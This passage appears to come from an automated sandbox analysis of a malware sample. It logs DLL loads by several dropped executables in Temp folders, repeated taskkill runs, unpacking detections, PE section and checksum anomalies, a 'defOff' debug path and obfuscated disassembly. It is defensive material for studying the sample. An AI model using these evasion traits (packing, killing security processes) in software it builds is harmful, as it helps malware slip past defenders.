Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2994688 > 1048576

Source: file.exe

Static PE information: Raw size of opmmjkup is bigger than: 0x100000 < 0x2af800

Source:	Binary string: my_library.pdbU source: 7451ae0b11.exe, 0000000B.00000003.2960373733.0000000004BCB000.00000004.00001000.00020000.00000000.sdmp, 7451ae0b11.exe, 0000000B.00000002.3001129617.000000000016C000.00000040.00000001.01000000.0000000E.sdmp, num.exe, 00000025.00000000.3281198847.0000000000C1C000.00000008.00000001.01000000.0000001A.sdmp
Source:	Binary string: my_library.pdb source: 7451ae0b11.exe, 0000000B.00000003.2960373733.0000000004BCB000.00000004.00001000.00020000.00000000.sdmp, 7451ae0b11.exe, 0000000B.00000002.3001129617.000000000016C000.00000040.00000001.01000000.0000000E.sdmp, num.exe, 00000025.00000000.3281198847.0000000000C1C000.00000008.00000001.01000000.0000001A.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 7YW0363WEKP7ULOI0QRA.exe, 00000003.00000002.2506913833.0000000000B12000.00000040.00000001.01000000.00000006.sdmp, 7YW0363WEKP7ULOI0QRA.exe, 00000003.00000003.2373622075.0000000005130000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Unpacked PE file: 3.2.7YW0363WEKP7ULOI0QRA.exe.b10000.0.unpack :EW;.rsrc:W;.idata :W;mljriapp:EW;mudtavgt:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Unpacked PE file: 4.2.S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe.e10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jqddeztg:EW;hzelrcyv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jqddeztg:EW;hzelrcyv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.aa0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jqddeztg:EW;hzelrcyv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jqddeztg:EW;hzelrcyv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Unpacked PE file: 11.2.7451ae0b11.exe.140000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xpxnzipx:EW;atgrbfaq:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xpxnzipx:EW;atgrbfaq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Unpacked PE file: 29.2.W7N881PI98FKFOKWDI7HCS7W.exe.a40000.0.unpack :EW;.rsrc:W;.idata :W;mljriapp:EW;mudtavgt:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Unpacked PE file: 30.2.7451ae0b11.exe.140000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xpxnzipx:EW;atgrbfaq:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xpxnzipx:EW;atgrbfaq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Unpacked PE file: 33.2.DP4Z2JGIRNCYT3CKHONMY.exe.9f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jqddeztg:EW;hzelrcyv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jqddeztg:EW;hzelrcyv:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 58ce8f976c.exe.8.dr	Static PE information: real checksum: 0x2e55c9 should be: 0x2e2609
Source: num.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe.0.dr	Static PE information: real checksum: 0x1cf020 should be: 0x1cc05d
Source: 8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe.12.dr	Static PE information: real checksum: 0x2c41f0 should be: 0x2c478b
Source: random[1].exe.8.dr	Static PE information: real checksum: 0x2e55c9 should be: 0x2e2609
Source: 7YW0363WEKP7ULOI0QRA.exe.0.dr	Static PE information: real checksum: 0x2c41f0 should be: 0x2c478b
Source: W7N881PI98FKFOKWDI7HCS7W.exe.10.dr	Static PE information: real checksum: 0x2c41f0 should be: 0x2c478b
Source: ZVNI3QDRJUMHB5ZEQG5Z2C.exe.12.dr	Static PE information: real checksum: 0x1cf020 should be: 0x1cc05d
Source: random[1].exe0.8.dr	Static PE information: real checksum: 0x2166de should be: 0x21ab5b
Source: skotes.exe.4.dr	Static PE information: real checksum: 0x1cf020 should be: 0x1cc05d
Source: DP4Z2JGIRNCYT3CKHONMY.exe.10.dr	Static PE information: real checksum: 0x1cf020 should be: 0x1cc05d
Source: file.exe	Static PE information: real checksum: 0x2e55c9 should be: 0x2e2609
Source: 7451ae0b11.exe.8.dr	Static PE information: real checksum: 0x2166de should be: 0x21ab5b
Source: num[1].exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: opmmjkup
Source: file.exe	Static PE information: section name: dvfrhkft
Source: file.exe	Static PE information: section name: .taggant
Source: 7YW0363WEKP7ULOI0QRA.exe.0.dr	Static PE information: section name:
Source: 7YW0363WEKP7ULOI0QRA.exe.0.dr	Static PE information: section name: .idata
Source: 7YW0363WEKP7ULOI0QRA.exe.0.dr	Static PE information: section name: mljriapp
Source: 7YW0363WEKP7ULOI0QRA.exe.0.dr	Static PE information: section name: mudtavgt
Source: 7YW0363WEKP7ULOI0QRA.exe.0.dr	Static PE information: section name: .taggant
Source: S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe.0.dr	Static PE information: section name:
Source: S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe.0.dr	Static PE information: section name: .idata
Source: S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe.0.dr	Static PE information: section name:
Source: S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe.0.dr	Static PE information: section name: jqddeztg
Source: S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe.0.dr	Static PE information: section name: hzelrcyv
Source: S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: jqddeztg
Source: skotes.exe.4.dr	Static PE information: section name: hzelrcyv
Source: skotes.exe.4.dr	Static PE information: section name: .taggant
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe.8.dr	Static PE information: section name: opmmjkup
Source: random[1].exe.8.dr	Static PE information: section name: dvfrhkft
Source: random[1].exe.8.dr	Static PE information: section name: .taggant
Source: 58ce8f976c.exe.8.dr	Static PE information: section name:
Source: 58ce8f976c.exe.8.dr	Static PE information: section name: .idata
Source: 58ce8f976c.exe.8.dr	Static PE information: section name: opmmjkup
Source: 58ce8f976c.exe.8.dr	Static PE information: section name: dvfrhkft
Source: 58ce8f976c.exe.8.dr	Static PE information: section name: .taggant
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: xpxnzipx
Source: random[1].exe0.8.dr	Static PE information: section name: atgrbfaq
Source: random[1].exe0.8.dr	Static PE information: section name: .taggant
Source: 7451ae0b11.exe.8.dr	Static PE information: section name:
Source: 7451ae0b11.exe.8.dr	Static PE information: section name: .rsrc
Source: 7451ae0b11.exe.8.dr	Static PE information: section name: .idata
Source: 7451ae0b11.exe.8.dr	Static PE information: section name:
Source: 7451ae0b11.exe.8.dr	Static PE information: section name: xpxnzipx
Source: 7451ae0b11.exe.8.dr	Static PE information: section name: atgrbfaq
Source: 7451ae0b11.exe.8.dr	Static PE information: section name: .taggant
Source: W7N881PI98FKFOKWDI7HCS7W.exe.10.dr	Static PE information: section name:
Source: W7N881PI98FKFOKWDI7HCS7W.exe.10.dr	Static PE information: section name: .idata
Source: W7N881PI98FKFOKWDI7HCS7W.exe.10.dr	Static PE information: section name: mljriapp
Source: W7N881PI98FKFOKWDI7HCS7W.exe.10.dr	Static PE information: section name: mudtavgt
Source: W7N881PI98FKFOKWDI7HCS7W.exe.10.dr	Static PE information: section name: .taggant
Source: DP4Z2JGIRNCYT3CKHONMY.exe.10.dr	Static PE information: section name:
Source: DP4Z2JGIRNCYT3CKHONMY.exe.10.dr	Static PE information: section name: .idata
Source: DP4Z2JGIRNCYT3CKHONMY.exe.10.dr	Static PE information: section name:
Source: DP4Z2JGIRNCYT3CKHONMY.exe.10.dr	Static PE information: section name: jqddeztg
Source: DP4Z2JGIRNCYT3CKHONMY.exe.10.dr	Static PE information: section name: hzelrcyv
Source: DP4Z2JGIRNCYT3CKHONMY.exe.10.dr	Static PE information: section name: .taggant
Source: 8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe.12.dr	Static PE information: section name:
Source: 8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe.12.dr	Static PE information: section name: .idata
Source: 8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe.12.dr	Static PE information: section name: mljriapp
Source: 8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe.12.dr	Static PE information: section name: mudtavgt
Source: 8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe.12.dr	Static PE information: section name: .taggant
Source: ZVNI3QDRJUMHB5ZEQG5Z2C.exe.12.dr	Static PE information: section name:
Source: ZVNI3QDRJUMHB5ZEQG5Z2C.exe.12.dr	Static PE information: section name: .idata
Source: ZVNI3QDRJUMHB5ZEQG5Z2C.exe.12.dr	Static PE information: section name:
Source: ZVNI3QDRJUMHB5ZEQG5Z2C.exe.12.dr	Static PE information: section name: jqddeztg
Source: ZVNI3QDRJUMHB5ZEQG5Z2C.exe.12.dr	Static PE information: section name: hzelrcyv
Source: ZVNI3QDRJUMHB5ZEQG5Z2C.exe.12.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0156D7AA push eax; ret	0_3_0156DA11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_014F457E push ebp; ret	0_3_014F4582
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_014EE0B6 push ebp; ret	0_3_014EE0BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BDEADD push edi; retf	0_3_05BDEAED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0156D7AA push eax; ret	0_3_0156DA11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0156D7AA push eax; ret	0_3_0156DA11
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00CA984B push 410BC413h; mov dword ptr [esp], esp	3_2_00CA98D2
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00CA984B push 20FE0D6Fh; mov dword ptr [esp], eax	3_2_00CA9961
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00CB9A66 push ebx; mov dword ptr [esp], 6781B220h	3_2_00CB9A7A
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00B1EBE0 push ecx; mov dword ptr [esp], 2424DFB7h	3_2_00B1F762
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00B1ED80 push 1B57FC02h; mov dword ptr [esp], ebx	3_2_00B1F596
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00B1ED80 push edi; mov dword ptr [esp], 70FD6605h	3_2_00B1F707
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00CA96DD push edi; mov dword ptr [esp], 7DFF2820h	3_2_00CA9726
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00B1E8B1 push edx; mov dword ptr [esp], 3FE71456h	3_2_00B1E8B3
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00B1E8B1 push 07F53464h; mov dword ptr [esp], ebp	3_2_00B1F0C0
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00B1E8B1 push ebp; mov dword ptr [esp], 3EFA729Ch	3_2_00B1F66D
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00B1E8B1 push ecx; mov dword ptr [esp], 5E3A99C4h	3_2_00B1F67C
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00CAA0C3 push ebp; mov dword ptr [esp], 487F2E14h	3_2_00CAA0D3
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00CAA0C3 push esi; mov dword ptr [esp], 25FEEA00h	3_2_00CAA16A
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00CAD0C5 push ebp; ret	3_2_00CAD0D4
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00CA60DE push eax; mov dword ptr [esp], 6DFF94B5h	3_2_00CA6615
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00B218AE push ebp; mov dword ptr [esp], esi	3_2_00B24FC8
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00CB90E7 push edx; mov dword ptr [esp], 7FE655CDh	3_2_00CB90FF
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00B2288A push 0B53B314h; mov dword ptr [esp], edi	3_2_00B2289D
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00B2288A push edi; mov dword ptr [esp], 2ABEF28Eh	3_2_00B231AB
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00CBF0F2 push eax; ret	3_2_00CBF101
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00B210F8 push eax; mov dword ptr [esp], edx	3_2_00B239C2
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00CBD085 push eax; mov dword ptr [esp], ecx	3_2_00CBD087
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00CBD085 push 3E8D4586h; mov dword ptr [esp], ebp	3_2_00CBD0FB
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00B1C0E3 push esi; mov dword ptr [esp], 57AA8FD8h	3_2_00B1C997
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00B210E6 push 1E868B81h; mov dword ptr [esp], ebp	3_2_00B24E72

